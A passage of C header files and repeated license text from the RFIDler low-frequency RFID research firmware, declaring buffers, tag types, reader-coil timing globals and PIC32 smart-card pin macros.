* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL read_tag(BYTE *data, unsigned int startblock, unsigned int endblock);
================================================
FILE: firmware/Pic32/RFIDler.X/include/rfidler.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include
#include
// BCD hardware revision for usb descriptor (usb_descriptors.c)
#define RFIDLER_HW_VERSION 0x020
// max sizes in BITS
#define MAXBLOCKSIZE 512
#define MAXTAGSIZE 4096
#define MAXUID 512
#define TMP_LARGE_BUFF_LEN 2048
#define TMP_SMALL_BUFF_LEN 256
#define ANALOGUE_BUFF_LEN 8192
#define COMMS_BUFFER_SIZE 128
#define DETECT_BUFFER_SIZE 512
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
// globals
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
extern BYTE EMU_ThisBit; // The next data bit to transmit
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
extern BOOL EMU_Background; // Emulate in the background until told to stop
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
extern BYTE ReaderPeriod; // Flag for sample display
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
extern BYTE Interface; // user interface - CLI or API
extern BYTE CommsChannel; // user comms channel - USB or UART
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
extern BOOL PWD_Mode; // is this tag password protected?
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
extern unsigned int Led_Count; // LED status counter, also used for entropy
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
extern char Previous; // Reader ISR previous bit type
// RWD (read/write device) coil state
extern BYTE RWD_State; // current state of RWD coil
extern unsigned int RWD_Fc; // field clock in uS
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
extern unsigned int RWD_OC5_config; // Output Compare Module settings
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *RWD_Command_ThisBit; // Current command bit
extern BOOL Reader_ISR_State; // current state of reader ISR
// NVM variables
// timings etc. that want to survive a reboot should go here
typedef struct {
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
BYTE AutoRun[128]; // optional command to run at startup
unsigned char TagType;
unsigned int PSK_Quality;
unsigned int Timeout;
unsigned int Wiegand_Pulse;
unsigned int Wiegand_Gap;
BOOL Wiegand_IdleState;
unsigned int FrameClock;
unsigned char Modulation;
unsigned int DataRate;
unsigned int DataRateSub0;
unsigned int DataRateSub1;
unsigned int DataBits;
unsigned int DataBlocks;
unsigned int BlockSize;
unsigned char SyncBits;
BYTE Sync[4];
BOOL BiPhase;
BOOL Invert;
BOOL Manchester;
BOOL HalfDuplex;
unsigned int Repeat;
unsigned int PotLow;
unsigned int PotHigh;
unsigned int RWD_Gap_Period;
unsigned int RWD_Zero_Period;
unsigned int RWD_One_Period;
unsigned int RWD_Sleep_Period;
unsigned int RWD_Wake_Period;
unsigned int RWD_Wait_Switch_TX_RX;
unsigned int RWD_Wait_Switch_RX_TX;
} StoredConfig;
// somewhere to store TAG data. this will be interpreted according to the TAG
// type.
typedef struct {
BYTE TagType; // raw tag type
BYTE EmulatedTagType; // tag type this tag is configured to emulate
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
BYTE Data[MAXTAGSIZE]; // raw data
unsigned char DataBlocks; // number of blocks in Data field
unsigned int BlockSize; // blocksize in bits
} VirtualTag;
extern StoredConfig RFIDlerConfig;
extern VirtualTag RFIDlerVTag;
extern BYTE TmpBuff[NVM_PAGE_SIZE];
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
extern unsigned int DataBuffCount;
extern const BYTE *ModulationSchemes[];
extern const BYTE *OnOff[];
extern const BYTE *HighLow[];
extern const BYTE *TagTypes[];
// globals for ISRs
extern BYTE EmulationMode;
extern unsigned long HW_Bits;
extern BYTE HW_Skip_Bits;
extern unsigned int PSK_Min_Pulse;
extern BOOL PSK_Read_Error;
extern BOOL Manchester_Error;
extern BOOL SnifferMode;
extern unsigned int Clock_Tick_Counter;
extern BOOL Clock_Tick_Counter_Reset;
// smart card lib
#define MAX_ATR_LEN (BYTE)33
extern BYTE scCardATR[MAX_ATR_LEN];
extern BYTE scATRLength;
// RTC
extern rtccTime RTC_time; // time structure
extern rtccDate RTC_date; // date structure
// digital pots
#define POTLOW_DEFAULT 100
#define POTHIGH_DEFAULT 150
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
#define VOLTS_TO_POT 0.019607843F
// RWD/clock states
#define RWD_STATE_INACTIVE 0 // RWD not in use
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
#define RWD_STATE_START_SEND 4 // RWD starting send of data
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
// reader ISR states
#define READER_STOPPED 0 // reader not in use
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
#define READER_RUNNING 2 // reader reading bits
// user interface types
#define INTERFACE_API 0
#define INTERFACE_CLI 1
// comms channel
#define COMMS_NONE 0
#define COMMS_USB 1
#define COMMS_UART 2
#define MAX_HISTORY 2 // disable most of history for now - memory issue
// tag write retries
#define TAG_WRITE_RETRY 5
// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
#define MOD_MODE_NONE 0
#define MOD_MODE_ASK_OOK 1
#define MOD_MODE_FSK1 2
#define MOD_MODE_FSK2 3
#define MOD_MODE_PSK1 4
#define MOD_MODE_PSK2 5
#define MOD_MODE_PSK3 6
// TAG types - update TagTypes[] in tags.c if you add to this list
#define TAG_TYPE_NONE 0
#define TAG_TYPE_ASK_RAW 1
#define TAG_TYPE_FSK1_RAW 2
#define TAG_TYPE_FSK2_RAW 3
#define TAG_TYPE_PSK1_RAW 4
#define TAG_TYPE_PSK2_RAW 5
#define TAG_TYPE_PSK3_RAW 6
#define TAG_TYPE_HITAG1 7
#define TAG_TYPE_HITAG2 8
#define TAG_TYPE_EM4X02 9
#define TAG_TYPE_Q5 10
#define TAG_TYPE_HID_26 11
#define TAG_TYPE_INDALA_64 12
#define TAG_TYPE_INDALA_224 13
#define TAG_TYPE_UNIQUE 14
#define TAG_TYPE_FDXB 15
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
#define TAG_TYPE_AWID_26 17
#define TAG_TYPE_EM4X05 18
#define TAG_TYPE_TAMAGOTCHI 19
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
#define TAG_TYPE_PAXTON 21 // same as em4x02 with different displayed value
// various
#define BINARY 0
#define HEX 1
#define NO_ADDRESS -1
#define ACK TRUE
#define NO_ACK FALSE
#define BLOCK TRUE
#define NO_BLOCK FALSE
#define DATA TRUE
#define NO_DATA FALSE
#define DEBUG_PIN_ON HIGH
#define DEBUG_PIN_OFF LOW
#define FAST FALSE
#define SLOW TRUE
#define NO_TRIGGER 0
#define LOCK TRUE
#define NO_LOCK FALSE
#define NFC_MODE TRUE
#define NO_NFC_MODE FALSE
#define ONESHOT_READ TRUE
#define NO_ONESHOT_READ FALSE
#define RESET TRUE
#define NO_RESET FALSE
#define SHUTDOWN_CLOCK TRUE
#define NO_SHUTDOWN_CLOCK FALSE
#define SYNC TRUE
#define NO_SYNC FALSE
#define VERIFY TRUE
#define NO_VERIFY FALSE
#define VOLATILE FALSE
#define NON_VOLATILE TRUE
#define NEWLINE TRUE
#define NO_NEWLINE FALSE
#define WAIT TRUE
#define NO_WAIT FALSE
#define WIPER_HIGH 0
#define WIPER_LOW 1
// conversion for time to ticks
#define US_TO_TICKS 1000000L
#define US_OVER_10_TO_TICKS 10000000L
#define US_OVER_100_TO_TICKS 100000000L
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
#define TIMER5_PRESCALER 16
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
// other conversions
// bits to hex digits
#define HEXDIGITS(x) (x / 4)
#define HEXTOBITS(x) (x * 4)
================================================
FILE: firmware/Pic32/RFIDler.X/include/rwd.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
void rwd_set_pwm(unsigned long fc, unsigned long sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int wait_txrx, unsigned int wait_rxtx);
BOOL rwd_send(unsigned char *command, unsigned int length, BOOL reset, BOOL block, BYTE initial_state, unsigned int fc, unsigned int sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int post_wait);
void rwd_test(BYTE *pass);
================================================
FILE: firmware/Pic32/RFIDler.X/include/sc_config.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// note this needs fixing to co-exist with RFID coil timers
#include "HardwareProfile.h"
#define SYS_FREQ GetSystemClock()
//#define SYS_FREQ 64000000UL
// Note : FCY denotes the instruction cycle clock frequency (SYS_FREQ/2)"
//#define FCY GetInstructionClock()
#define FCY (SYS_FREQ)
#include "p32xxxx.h"
// Enable Port Pin of Micro as Vcc for Smart Card
#define ENABLE_SC_POWER_THROUGH_PORT_PIN
// Set Clock Freq to drive Smart Card - we want 4MHz
#define Scdrv_ClockSet() (TMR2 = 0, T2CON = T2_SOURCE_INT | T2_32BIT_MODE_OFF | T2_PS_1_1, PR2 = 19, OC2R = 10, OC2RS= 10, TRISDbits.TRISD1 = 0, OC2CON = OC_PWM_FAULT_PIN_DISABLE | OC_TIMER2_SRC | OC_TIMER_MODE16)
//Enable UART
#define SCdrv_EnableUART() (U1MODEbits.UARTEN = 1)
// Enable Clock to drive Smart Card
#define SCdrv_EnableClock() (OC2CONbits.ON = 1,T2CONbits.ON = 1)
// Disable Clock used to drive Smart Card
#define SCdrv_DisableClock() (OC2CONbits.ON = 0,T2CONbits.ON = 0,TMR2 = 0)
// Set Clock Freq to drive Smart Card
#define SCdrv_EnableDelayTimerIntr() (IPC1bits.T1IP = 3,IPC1bits.T1IS = 1,IFS0bits.T1IF = 0,T1CON = 0x0030,PR1 = 0xFFFF,IEC0bits.T1IE = 1,INTConfigureSystem(INT_SYSTEM_CONFIG_MULT_VECTOR),INTEnableInterrupts())
// One count of timer 1 corresponds to how much micro seconds...
#define TIMER1_SINGLE_COUNT_MICRO_SECONDS (BYTE)(256/(FCY/1000000UL))
// Enable Clock to drive Smart Card
#define SCdrv_SetDelayTimerCnt(count) (TMR1 = count)
// Enable Clock to drive Smart Card
#define SCdrv_EnableDelayTimer() (T1CONbits.TON = 1)
// Disable Clock used to drive Smart Card
#define SCdrv_DisableDelayTimer() (T1CONbits.TON = 0)
//Reference Clock Circuit - Input Clock
#define REF_CLOCK_CIRCUIT_INPUT_CLK FCY
//Reference Clock Circuit - Input Clock
#define REF_CLOCK_POWER2_VALUE (BYTE)0
//Reference Clock Circuit - Input Clock
#define REF_CLOCK_DIVISOR_VALUE (BYTE)PR2
// Frequency of clock given to smart card
#define REF_CLOCK_TO_SMART_CARD (unsigned long)(FCY/(PR2 + 1))
//Turn on 1/off 0 card power
#define SCdrv_SetSwitchCardPower(x) (LATBbits.LATB9=(x))
//set reset state to the value x
#define SCdrv_SetSwitchCardReset(x) (LATEbits.LATE8=(x))
//set tx pin to the value x
#define SCdrv_SetTxPinData(x) (LATFbits.LATF8=(x))
//Get Smart Card Present status
//#define SCdrv_CardPresent() (PORTBbits.RB0 || !PORTBbits.RB1)
// we don't have a microswitch, so always present
#define SCdrv_CardPresent() (TRUE)
//Get Rx Pin Data
#define SCdrv_GetRxPinData() (PORTFbits.RF2)
//Set Tx Pin direction
#define SCdrv_TxPin_Direction(flag) (TRISFbits.TRISF8 = flag)
//Set Power Pin direction connected to the smart card
#define SCdrv_PowerPin_Direction(flag) (TRISBbits.TRISB9 = flag)
//Set Reset Pin direction connected to the smart card
#define SCdrv_ResetPin_Direction(flag) (TRISEbits.TRISE8 = flag)
//Set Card Present Pin direction connected to the smart card
//#define SCdrv_CardPresent_Direction(flag) (TRISBbits.TRISB0 = flag)
#define SCdrv_CardPresent_Direction(flag)
//Set Sim Present Pin direction connected to the smart card
//#define SCdrv_SimPresent_Direction(flag) (TRISBbits.TRISB1 = flag)
#define SCdrv_SimPresent_Direction(flag)
// Enable Pull up at Tx Pin
